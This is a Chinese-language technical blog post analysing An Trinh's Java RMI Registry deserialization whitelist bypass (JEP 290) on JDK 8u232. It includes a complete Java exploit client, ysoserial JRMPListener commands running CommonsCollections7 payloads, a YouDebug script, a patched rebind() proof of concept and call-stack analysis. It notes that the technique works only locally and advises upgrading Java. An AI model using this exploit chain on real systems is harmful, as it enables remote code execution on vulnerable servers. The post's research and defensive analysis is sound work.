阅读: 0
Registry Whitelist Bypass from An Trinh
参[1],第20页,思路是An Trinh原创,但他未给细节。Hans Martin Munch在[2]中补了一半细节。
An Trinh水平较高,2019年Zimbra的两个CVE是他发现的:
CVE-2019-9670(XXE/SSRF)
CVE-2019-6980(反序列化)
不过他一贯风格是不给细节。后来中国人fnmsd提供上面两个CVE的复现细节。
Hans Martin Munch比An Trinh开放,分享过不少有趣的思路,比如用YouDebug搞CVE-2017-3241。
ysoserial.payloads.JRMPClient是设法让受害者扮演”DGC Client”的角色,使之访
问恶意”DGC Server”。受害者反序列化来自后者的恶意Object时有默认过滤器,参看sun.rmi.transport.DGCImpl.checkInput()的实现。
An Trinh的新思路是设法让受害者扮演”RMI Registry Client”的角色,使之访问恶意”RMI Registry Server”。受害者反序列化来自后者的恶意Object时并没有过滤器参与其中,JEP 290未针对这种场景设置默认过滤器。
本文演示环境为8u232。
/* * javac -encoding GBK -g RMIRegistryServer.java * java RMIRegistryServer 1099 */ import java.rmi.registry.*; public class RMIRegistryServer { public static void main ( String[] argv ) throws Exception { int port = Integer.parseInt( argv[0] ); LocateRegistry.createRegistry( port ); System.in.read(); } } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 |
/* * javac -encoding GBK -g -XDignore.symbol.file EvilRMIRegistryClientWithUnicastRemoteObjectFail.java */ import java.io.*; import java.lang.reflect.*; import java.util.Random; import java.net.Socket; import java.rmi.Remote; import java.rmi.registry.*; import java.rmi.server.UnicastRemoteObject; import java.rmi.server.RMIServerSocketFactory; import java.rmi.server.RemoteObjectInvocationHandler; import java.rmi.server.ObjID; import sun.rmi.transport.tcp.TCPEndpoint; import sun.rmi.transport.LiveRef; import sun.rmi.server.UnicastRef; public class EvilRMIRegistryClientWithUnicastRemoteObjectFail { public static Object getObject ( String addr, int port ) throws Exception { int i = new Random().nextInt(); ObjID oid = new ObjID( i ); TCPEndpoint te = new TCPEndpoint( addr, port ); LiveRef lr = new LiveRef( oid, te, false ); UnicastRef ur = new UnicastRef( lr ); RemoteObjectInvocationHandler roih = new RemoteObjectInvocationHandler( ur ); RMIServerSocketFactory ssfProxy = ( RMIServerSocketFactory )Proxy.newProxyInstance ( RMIServerSocketFactory.class.getClassLoader(), new Class[] { RMIServerSocketFactory.class, Remote.class }, roih ); Constructor<?> cons = UnicastRemoteObject.class.getDeclaredConstructor( new Class[0] ); cons.setAccessible( true ); UnicastRemoteObject uro = ( UnicastRemoteObject )cons.newInstance( new Object[0] ); Field f_ssf = UnicastRemoteObject.class.getDeclaredField( "ssf" ); f_ssf.setAccessible( true ); f_ssf.set( uro, ssfProxy ); return( uro ); } public static void main ( String[] argv ) throws Exception { String addr = argv[0]; int port = Integer.parseInt( argv[1] ); String newaddr = argv[2]; int newport = Integer.parseInt( argv[3] ); Remote obj = ( Remote )getObject( newaddr, newport ); Registry r = LocateRegistry.getRegistry( addr, port ); r.rebind( "any", obj ); } } |
启动恶意服务:
java \ -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPListener 1099 \ CommonsCollections7 "/bin/touch /tmp/scz_is_here_from_server_3" |
启动受害者:
java \ -cp "commons-collections-3.1.jar:." \ RMIRegistryServer 2099 |
启动攻击者:
java \ EvilRMIRegistryClientWithUnicastRemoteObjectFail 192.168.65.23 2099 \ 192.168.65.23 1099 |
这次攻击达不到预期目的。
参看:
RegistryImpl_Stub.rebind // 8u232 ObjectOutputStream.writeObject // RegistryImpl_Stub:154 ObjectOutputStream.writeObject0 // ObjectOutputStream:348 MarshalOutputStream.replaceObject // ObjectOutputStream:144 if ((obj instanceof Remote) && !(obj instanceof RemoteStub)) // MarshalOutputStream:80 // Remote实例被特殊对待 target = ObjectTable.getTarget((Remote) obj) // MarshalOutputStream:81 // 如果调用过UnicastRemoteObject.exportObject() // 此处返回的target不为null,流程将去83行 if (target != null) // MarshalOutputStream:82 return target.getStub() // MarshalOutputStream:83 // 若流程至此,不再是返回我们传入的Remote实例 |
如果调用过UnicastRemoteObject.exportObject(),用ObjectOutputStream.writeObject()序列化输出该UnicastRemoteObject实例时,会触发MarshalOutputStream.replaceObject(),将UnicastRemoteObject实例替换成另一种对象实例,攻击链被破坏。
如果不想发生这种替换,可以利用反射将ObjectOutputStream.enableReplace由true改成false。这是Hans Martin Munch的主意。
参[3],YouDebug允许自动化调试执行,设置断点、断点命中后的动作都可以在脚本中提前定义好。
编辑ModifyRebind.ydb如下:
vm.methodEntryBreakpoint( "java.io.ObjectOutputStream", "writeObject" ) { if \ ( ( obj instanceof com.sun.tools.jdi.ObjectReferenceImpl ) && ( obj.referenceType().name().equals( "java.rmi.server.UnicastRemoteObject" ) ) ) { println "scz is here" self.enableReplace = false; } } |
脚本意图很直白,拦截ObjectOutputStream.writeObject(),如果obj是UnicastRemoteObject类型,将ObjectOutputStream.enableReplace从true改成false。
启动恶意服务:
java \ -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPListener 1099 \ CommonsCollections7 "/bin/touch /tmp/scz_is_here_from_server_3" |
启动受害者:
java \ -cp "commons-collections-3.1.jar:." \ RMIRegistryServer 2099 |
启动攻击者:
java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ EvilRMIRegistryClientWithUnicastRemoteObjectFail 192.168.65.23 2099 \ 192.168.65.23 1099 java \ -jar youdebug-1.6-SNAPSHOT-jar-with-dependencies.jar \ -socket 192.168.65.23:8005 \ ModifyRebind.ydb |
Hans Martin Munch提出自定义RegistryImpl_Stub.rebind(),在writeObject()之前利用反射修改ObjectOutputStream.enableReplace。他说把这当成课后作业,没有直接给答案。我给个实测过的PoC:
private static void rebind ( RegistryImpl_Stub r, String $param_String_1, Remote $param_Remote_2 ) throws Exception { StreamRemoteCall call = ( StreamRemoteCall )r.getRef().newCall( r, operations, 3, interfaceHash ); ObjectOutput out = call.getOutputStream(); ObjectOutputStream oos = ( ObjectOutputStream )out; Field f = ObjectOutputStream.class.getDeclaredField( "enableReplace" ); f.setAccessible( true ); f.set( oos, false ); out.writeObject( $param_String_1 ); out.writeObject( $param_Remote_2 ); r.getRef().invoke( call ); r.getRef().done( call ); } |
参看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
RegistryImpl_Skel.dispatch // 8u232 // 进入rebind()分支 RegistryImpl.checkAccess("Registry.rebind") // RegistryImpl_Skel:142 // 前置检查rebind()源IP,不允许远程绑定,这才是大盾 ObjectInputStream.readObject // RegistryImpl_Skel:148 // $param_String_1 = (java.lang.String) in.readObject() // 可以直接打这个位置 ObjectInputStream.readObject // RegistryImpl_Skel:149 // $param_Remote_2 = (java.rmi.Remote) in.readObject() UnicastRemoteObject.readObject UnicastRemoteObject.reexport // UnicastRemoteObject:235 UnicastRemoteObject.exportObject // UnicastRemoteObject:268 UnicastRemoteObject.exportObject // UnicastRemoteObject:346 UnicastServerRef.exportObject // UnicastRemoteObject:383 LiveRef.exportObject // UnicastServerRef:237 TCPEndpoint.exportObject // LiveRef:147 TCPTransport.exportObject // TCPEndpoint:411 TCPTransport.listen // TCPTransport:254 TCPEndpoint.newServerSocket // TCPTransport:335 $Proxy0.createServerSocket // TCPEndpoint:666 // 动态代理机制 RemoteObjectInvocationHandler.invoke RemoteObjectInvocationHandler.invokeRemoteMethod // RemoteObjectInvocationHandler:179 UnicastRef.invoke // RemoteObjectInvocationHandler:227 // invoke(Remote obj, Method method, Object[] params, long opnum) // 这条攻击链上不会遭遇过滤器 TCPChannel.newConnection // UnicastRef:129 // conn = ref.getChannel().newConnection() StreamRemoteCall.executeCall // UnicastRef:161 // call.executeCall() ObjectInputStream.readObject // StreamRemoteCall:270 Hashtable.readObject // ysoserial/CommonsCollections7 Hashtable.reconstitutionPut LazyMap.get Runtime.exec UnicastRef.unmarshalValue // UnicastRef:174 // returnValue = unmarshalValue(rtype, in) |
本地打8u232可以得手。”RegistryImpl_Skel:142″有前置源IP检查,远程打8u232无法通过这个检查。
[1]第20页的调用栈栈顶是:
sun.rmi.server.UnicastRef.unmarshalValue()
sun.rmi.transport.tcp.TCPChannel.newConnection()
sun.rmi.server.UnicastRef.invoke()
我觉得这是An Trinh用春秋笔法展示出来的伪栈。TCPChannel.newConnection()跟这条攻击链无关,仅仅是路过。UnicastRef.unmarshalValue()倒是有可能被利用,但上图已经在StreamRemoteCall.executeCall()中得手了。
Hans Martin Munch修改ObjectOutputStream.enableReplace的思路可行,但确实有些失策。如果他认真看过Matthias Kaiser的ysoserial.payloads.JRMPListener,就不会走这条弯路。
如果用Hans Martin Munch的方案,会有如下调用栈回溯:
[1] sun.rmi.transport.ObjectTable.putTarget (ObjectTable.java:171), pc = 0
[2] sun.rmi.transport.Transport.exportObject (Transport.java:106), pc = 6
[3] sun.rmi.transport.tcp.TCPTransport.exportObject (TCPTransport.java:265), pc = 32
[4] sun.rmi.transport.tcp.TCPEndpoint.exportObject (TCPEndpoint.java:411), pc = 5
[5] sun.rmi.transport.LiveRef.exportObject (LiveRef.java:147), pc = 5
[6] sun.rmi.server.UnicastServerRef.exportObject (UnicastServerRef.java:237), pc = 78
[7] java.rmi.server.UnicastRemoteObject.exportObject (UnicastRemoteObject.java:383), pc = 19
[8] java.rmi.server.UnicastRemoteObject.exportObject (UnicastRemoteObject.java:320), pc = 9
[9] java.rmi.server.UnicastRemoteObject. (UnicastRemoteObject.java:198), pc = 26
[10] java.rmi.server.UnicastRemoteObject. (UnicastRemoteObject.java:180), pc = 2
[11] sun.reflect.NativeConstructorAccessorImpl.newInstance0 (native method)
[12] sun.reflect.NativeConstructorAccessorImpl.newInstance (NativeConstructorAccessorImpl.java:62), pc = 85
[13] sun.reflect.DelegatingConstructorAccessorImpl.newInstance (DelegatingConstructorAccessorImpl.java:45), pc = 5
[14] java.lang.reflect.Constructor.newInstance (Constructor.java:423), pc = 79
UnicastRemoteObject.exportObject()会触发ObjectTable.putTarget()。
而ObjectOutputStream.writeObject()序列化UnicastRemoteObject实例时会经过如下函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
/* * sun.rmi.server.MarshalOutputStream.replaceObject */ /** * Checks for objects that are instances of java.rmi.Remote * that need to be serialized as proxy objects. */ protected final Object replaceObject(Object obj) throws IOException { if ((obj instanceof Remote) && !(obj instanceof RemoteStub)) { /* * 81行 */ Target target = ObjectTable.getTarget((Remote) obj); if (target != null) { /* * 83行,不再是返回形参obj */ return target.getStub(); } } return obj; } |
上述83行处攻击链被破坏,恶意Object不会被送往受害者。
这个新的白名单绕过技术的正确打开方式是像ysoserial.payloads.JRMPListener那样生成UnicastRemoteObject实例,避免在客户端触发UnicastRemoteObject.exportObject(),这样就不会调用ObjectTable.putTarget(),于是”MarshalOutputStream:81″处返回的target为null,这样就不会发生替换。
An Trinh的新技术只能用于本机受害者,不能用于远程受害者。假设有本地提权的场景,或可考虑,远程打1099/TCP就算了。
8u232的”RegistryImpl_Skel:142″处代码是:
RegistryImpl.checkAccess("Registry.rebind") |
它在检查rebind()的源IP是否是本机。如果不是,流程不会去readObject()。据说
8u141就已经前置源IP检查了。
从防御角度看,条件允许的情况下尽量使用高版本Java吧。
[1] Far Sides of Java Remote Protocols – An Trinh [2019-12-04]
https://www.blackhat.com/eu-19/briefings.html
http://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf
[2] An Trinhs RMI Registry Bypass – Hans Martin Munch [2020-02]
https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/
[3] YouDebug